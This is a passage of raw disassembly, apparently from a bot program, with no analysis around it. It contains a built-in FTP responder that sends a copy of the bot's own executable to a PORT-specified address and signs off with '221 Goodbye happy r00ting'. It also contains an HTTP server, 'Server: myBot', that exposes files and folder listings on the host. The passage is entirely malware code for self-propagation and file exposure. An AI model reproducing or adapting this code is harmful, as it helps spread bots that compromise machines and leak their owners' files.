		jnz	short loc_405729
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------

loc_405729:				; CODE XREF: sub_405409+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405764
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405764
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------

loc_405764:				; CODE XREF: sub_405409+335j
					; sub_405409+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40579F
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40579F
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4059DB
; ---------------------------------------------------------------------------

loc_40579F:				; CODE XREF: sub_405409+370j
					; sub_405409+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4057ED
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]

loc_4057DD:				; CODE XREF: sub_405409+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx
		xor	esi, esi

loc_4057E5:				; CODE XREF: sub_405409+4F3j
		mov	edi, [ebp+arg_0]
		jmp	loc_4059DE
; ---------------------------------------------------------------------------

loc_4057ED:				; CODE XREF: sub_405409+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40582E
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_4057DD
; ---------------------------------------------------------------------------

loc_40582E:				; CODE XREF: sub_405409+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405901
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_416AA0
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_415A5F
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_415A5F
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_415570
		push	[ebp+var_8]
		lea	eax, [ebp+var_F8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_4154E7
		add	esp, 44h
		lea	eax, [ebp+var_F8]
		push	10h
		push	esi
		push	eax
		call	sub_416A89
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_4154E7
		add	esp, 24h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx
		jmp	loc_4057E5
; ---------------------------------------------------------------------------

loc_405901:				; CODE XREF: sub_405409+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4059BC
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_405A0C
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_4059B2
		call	sub_405A89
		cmp	eax, 1
		jnz	loc_4059DE
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	dword_438FFC
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset dword_42675C
		push	eax
		call	sub_4154E7
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_4059A3
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_412D4C
		add	esp, 14h

loc_4059A3:				; CODE XREF: sub_405409+575j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40B16D
		pop	ecx
		jmp	short loc_4059DE
; ---------------------------------------------------------------------------

loc_4059B2:				; CODE XREF: sub_405409+52Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_4059DB
; ---------------------------------------------------------------------------

loc_4059BC:				; CODE XREF: sub_405409+50Dj
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4059DE
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"

loc_4059DB:				; CODE XREF: sub_405409+28Bj
					; sub_405409+2AFj ...
		push	edi
		call	ebx

loc_4059DE:				; CODE XREF: sub_405409+3DFj
					; sub_405409+539j ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch

loc_4059F0:				; CODE XREF: sub_405409+160j
					; sub_405409+189j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_405537
		jmp	loc_4054FC
; ---------------------------------------------------------------------------

loc_405A02:				; CODE XREF: sub_405409+11Ej
		push	1
		pop	eax

loc_405A05:				; CODE XREF: sub_405409+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405409	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A0C	proc near		; CODE XREF: sub_405409+525p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4211B0
		push	0
		push	1
		push	2
		call	dword_4211E0
		push	[ebp+arg_0]
		mov	dword_438FF8, eax
		mov	[ebp+var_10], 2
		call	dword_4211D8
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_4211DC
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_438FF8
		call	dword_4211E4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A84
		push	dword_438FF8
		call	dword_4211F0
		call	dword_4211AC
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_405A84:				; CODE XREF: sub_405A0C+60j
		push	1
		pop	eax
		leave
		retn
sub_405A0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A89	proc near		; CODE XREF: sub_405409+531p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_42107C
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_415BE8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405B20
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405B04
		push	edi
		mov	edi, 400h

loc_405ACC:				; CODE XREF: sub_405A89+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_416BB0
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_438FF8
		call	dword_4211EC
		push	1
		call	dword_421060
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405ACC
		pop	edi

loc_405B04:				; CODE XREF: sub_405A89+3Bj
		push	esi
		call	sub_415B40
		pop	ecx
		push	dword_438FF8
		call	dword_4211F0
		call	dword_4211AC
		push	1
		pop	eax

loc_405B20:				; CODE XREF: sub_405A89+35j
		pop	esi
		leave
		retn
sub_405A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B23	proc near		; DATA XREF: sub_407276+333o
					; sub_40CE55+5068o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_43A3B8
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_43A438
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405F0E
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43F554[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43A3E4
		cmp	eax, 0FFFFFFFFh
		jz	loc_405F0E
		push	7FFFFFFFh
		push	edi
		call	dword_43A3E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_405F0E
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_43A454
		cmp	eax, 0FFFFFFFFh
		jz	loc_405F0E
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_405BFA:				; CODE XREF: sub_405B23+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_43A3A0
		cmp	eax, 0FFFFFFFFh
		jz	loc_405F09
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_405C30:				; CODE XREF: sub_405B23+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_43A2B0
		test	eax, eax
		jz	loc_405EF4
		cmp	esi, [ebp+var_C]
		jnz	short loc_405CB2
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_43A44C
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EF4
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C84
		lea	edx, [ebp+var_134]

loc_405C78:				; CODE XREF: sub_405B23+15Fj
		cmp	[edx], eax
		jz	short loc_405C84
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C78

loc_405C84:				; CODE XREF: sub_405B23+14Dj
					; sub_405B23+157j
		cmp	ecx, ebx
		jnz	short loc_405CA1
		cmp	ebx, 40h
		jnb	short loc_405CA1
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_405CA1:				; CODE XREF: sub_405B23+163j
					; sub_405B23+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405EF4
		mov	[ebp+var_8], eax
		jmp	loc_405EF4
; ---------------------------------------------------------------------------

loc_405CB2:				; CODE XREF: sub_405B23+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_415570
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_415570
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_43A3D0
		test	eax, eax
		jg	short loc_405D45
		push	esi
		call	dword_43A450
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405EF4
		lea	eax, [ebp+var_134]

loc_405D04:				; CODE XREF: sub_405B23+1EBj
		cmp	[eax], esi
		jz	short loc_405D15
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405D04
		jmp	loc_405EF4
; ---------------------------------------------------------------------------

loc_405D15:				; CODE XREF: sub_405B23+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D39
		lea	eax, [ebp+ecx*4+var_134]

loc_405D23:				; CODE XREF: sub_405B23+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405D23

loc_405D39:				; CODE XREF: sub_405B23+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405EF4
; ---------------------------------------------------------------------------

loc_405D45:				; CODE XREF: sub_405B23+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_415570
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_415CF0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405EF4

loc_405D73:				; CODE XREF: sub_405B23+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405E18
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DEC
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_415CF0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DEC
		mov	eax, offset asc_426A00 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_415AC0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_415AC0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416C98
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_415C00
		add	esp, 10h
		jmp	short loc_405E03
; ---------------------------------------------------------------------------

loc_405DEC:				; CODE XREF: sub_405B23+27Fj
					; sub_405B23+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4269FC ; "\r\n"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E37

loc_405E03:				; CODE XREF: sub_405B23+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_405E18:				; CODE XREF: sub_405B23+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_415CF0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405D73
		jmp	loc_405EF4
; ---------------------------------------------------------------------------

loc_405E37:				; CODE XREF: sub_405B23+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E81
		lea	eax, [ebp+var_134]

loc_405E43:				; CODE XREF: sub_405B23+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405E54
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E43
		jmp	short loc_405E84
; ---------------------------------------------------------------------------

loc_405E54:				; CODE XREF: sub_405B23+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E78
		lea	eax, [ebp+ecx*4+var_134]

loc_405E62:				; CODE XREF: sub_405B23+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E62

loc_405E78:				; CODE XREF: sub_405B23+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405E84
; ---------------------------------------------------------------------------

loc_405E81:				; CODE XREF: sub_405B23+318j
		mov	esi, [ebp+var_4]

loc_405E84:				; CODE XREF: sub_405B23+32Fj
					; sub_405B23+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_405EED
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_415CF0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_415CF0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405EED
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43A454
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_406100
		add	esp, 14h
		jmp	short loc_405EF4
; ---------------------------------------------------------------------------

loc_405EED:				; CODE XREF: sub_405B23+369j
					; sub_405B23+38Fj
		push	esi
		call	dword_43A450

loc_405EF4:				; CODE XREF: sub_405B23+11Dj
					; sub_405B23+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405C30
		jmp	loc_405BFA
; ---------------------------------------------------------------------------

loc_405F09:				; CODE XREF: sub_405B23+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_405F0E:				; CODE XREF: sub_405B23+6Aj
					; sub_405B23+92j ...
		call	dword_43A34C
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4269B4
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405F54
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_412D4C
		add	esp, 14h

loc_405F54:				; CODE XREF: sub_405B23+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	edi
		call	dword_43A450
		push	[ebp+var_254]
		call	sub_4152AF
		pop	ecx
		push	ebx
		call	dword_421048
		pop	edi
		pop	esi
		pop	ebx
sub_405B23	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F7E	proc near		; DATA XREF: sub_406100+246o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4154E7
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_405FE3
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FE8
; ---------------------------------------------------------------------------

loc_405FE3:				; CODE XREF: sub_405F7E+5Cj
		push	offset aApplicationOct ; "application/octet-stream"

loc_405FE8:				; CODE XREF: sub_405F7E+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4154E7
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_421084
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_421080
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_406061
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4154E7
		add	esp, 24h
		jmp	short loc_406082
; ---------------------------------------------------------------------------

loc_406061:				; CODE XREF: sub_405F7E+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4154E7
		add	esp, 28h

loc_406082:				; CODE XREF: sub_405F7E+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_43A408
		cmp	[ebp+var_A4], edi
		jnz	short loc_4060C2
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406A32
		pop	ecx
		pop	ecx
		jmp	short loc_4060DF
; ---------------------------------------------------------------------------

loc_4060C2:				; CODE XREF: sub_405F7E+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4063B0
		add	esp, 10h

loc_4060DF:				; CODE XREF: sub_405F7E+142j
		push	[ebp+var_44C]
		call	dword_43A450
		push	[ebp+var_B4]
		call	sub_4152AF
		pop	ecx
		push	edi
		call	dword_421048
		pop	edi
		pop	esi
sub_405F7E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406100	proc near		; CODE XREF: sub_405B23+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415570
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_406136
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_40613F
; ---------------------------------------------------------------------------

loc_406136:				; CODE XREF: sub_406100+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"

loc_40613F:				; CODE XREF: sub_406100+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_415CF0
		test	eax, eax
		pop	ecx
		jbe	short loc_4061DA
		mov	[ebp+arg_8], 2

loc_40616A:				; CODE XREF: sub_406100+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_415CF0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_4061AA
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_4061AA
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_4061AA
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_4061AA
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_4061C4
; ---------------------------------------------------------------------------

loc_4061AA:				; CODE XREF: sub_406100+7Aj
					; sub_406100+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_4061BA
		push	5Ch
		pop	eax
		jmp	short loc_4061BD
; ---------------------------------------------------------------------------

loc_4061BA:				; CODE XREF: sub_406100+B3j
		movsx	eax, al

loc_4061BD:				; CODE XREF: sub_406100+B8j
		mov	[ebp+ebx+var_210], al

loc_4061C4:				; CODE XREF: sub_406100+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_415CF0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40616A

loc_4061DA:				; CODE XREF: sub_406100+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_314]
		push	offset asc_426CB4 ; "\n"
		push	eax
		call	sub_416C98
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_421094
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_406228
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40622B
		push	[ebp+arg_0]
		jmp	short loc_4062A7
; ---------------------------------------------------------------------------

loc_406228:				; CODE XREF: sub_406100+11Cj
		mov	[ebp+var_4], esi

loc_40622B:				; CODE XREF: sub_406100+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_406238
		mov	[ebp+var_4], esi

loc_406238:				; CODE XREF: sub_406100+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_4062B2
		cmp	[ebp+arg_C], edi
		jz	short loc_4062A6
		lea	eax, [ebp+var_314]
		push	offset asc_426CB0 ; "*"
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406AEF
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_406301
; ---------------------------------------------------------------------------

loc_4062A6:				; CODE XREF: sub_406100+14Fj
		push	ebx

loc_4062A7:				; CODE XREF: sub_406100+126j
		call	dword_43A450
		jmp	loc_4063A9
; ---------------------------------------------------------------------------

loc_4062B2:				; CODE XREF: sub_406100+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_421078
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_406301
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4154E7
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
